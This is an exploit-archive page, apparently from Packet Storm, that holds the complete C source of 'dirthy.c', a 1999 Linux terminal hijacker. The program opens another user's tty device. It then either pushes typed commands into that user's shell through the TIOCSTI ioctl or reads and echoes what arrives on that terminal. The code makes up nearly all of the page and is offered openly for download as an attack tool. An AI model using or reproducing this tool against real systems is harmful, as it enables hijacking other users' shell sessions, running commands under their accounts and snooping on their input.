exploit the possibilities

dirthy.c

dirthy.c
Posted Sep 22, 1999

linux tty hijacker (

tags | exploit
systems | linux
MD5 | 986824d9716e21a333029ac98aa22cc0

dirthy.c

Change Mirror Download
#include <sys/ioctl.h>
#include <sys/types.h>
#include <signal.h>
#include <stdio.h>
#include <fcntl.h>
#include <stdlib.h>
#include <unistd.h>
#include <termios.h>

// Dirty H(ijacker|arry) by typo/teso.. paralell tailing and ioctl input
// don't work.. neither does nonblocking tailing. any suggestions on how
// to improve this ? -> typo@scene.at

// credits: Saegfault for some ideas regarding the tail mode.

char *moo;
int fd;

void inthand() {
printf("moo!\n");
free(moo);
close(fd);
exit(-1);
}

int main(int argc, char **argv) {
char *moo2;

printf("-- Dirty H(ijacker|arry) by typo/teso --\n");
if (argc<2) {
printf("Usage: %s </dev/ttyx> [tailmode]\n",argv[0]);
exit(-1);
}

signal(SIGINT, (void*)&inthand);
moo2 = moo = (char *)malloc(400);

if (argc>2) {
fd = open(argv[1], O_RDONLY|O_SYNC);
printf("Tailing %s""... all commands we receive won't reach the shell:\n", argv[1]);
while (1) {
read(fd,moo,1);
printf("%s",moo);
if (!strcmp(moo,"\r"))
printf("\n");
fflush(stdout);
}
} else {
fd = open(argv[1], O_WRONLY);
printf("Inserting Commands into %s"":\n", argv[1]);
while (1) {
moo = moo2;
fgets(moo, 400, stdin);
while (*moo)
ioctl(fd, TIOCSTI, moo++);
}
}
}

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

August 2019

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Aug 1st
    10 Files
  • 2
    Aug 2nd
    8 Files
  • 3
    Aug 3rd
    2 Files
  • 4
    Aug 4th
    1 Files
  • 5
    Aug 5th
    15 Files
  • 6
    Aug 6th
    79 Files
  • 7
    Aug 7th
    16 Files
  • 8
    Aug 8th
    10 Files
  • 9
    Aug 9th
    10 Files
  • 10
    Aug 10th
    0 Files
  • 11
    Aug 11th
    6 Files
  • 12
    Aug 12th
    26 Files
  • 13
    Aug 13th
    15 Files
  • 14
    Aug 14th
    19 Files
  • 15
    Aug 15th
    52 Files
  • 16
    Aug 16th
    11 Files
  • 17
    Aug 17th
    1 Files
  • 18
    Aug 18th
    0 Files
  • 19
    Aug 19th
    0 Files
  • 20
    Aug 20th
    0 Files
  • 21
    Aug 21st
    0 Files
  • 22
    Aug 22nd
    0 Files
  • 23
    Aug 23rd
    0 Files
  • 24
    Aug 24th
    0 Files
  • 25
    Aug 25th
    0 Files
  • 26
    Aug 26th
    0 Files
  • 27
    Aug 27th
    0 Files
  • 28
    Aug 28th
    0 Files
  • 29
    Aug 29th
    0 Files
  • 30
    Aug 30th
    0 Files
  • 31
    Aug 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2019 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close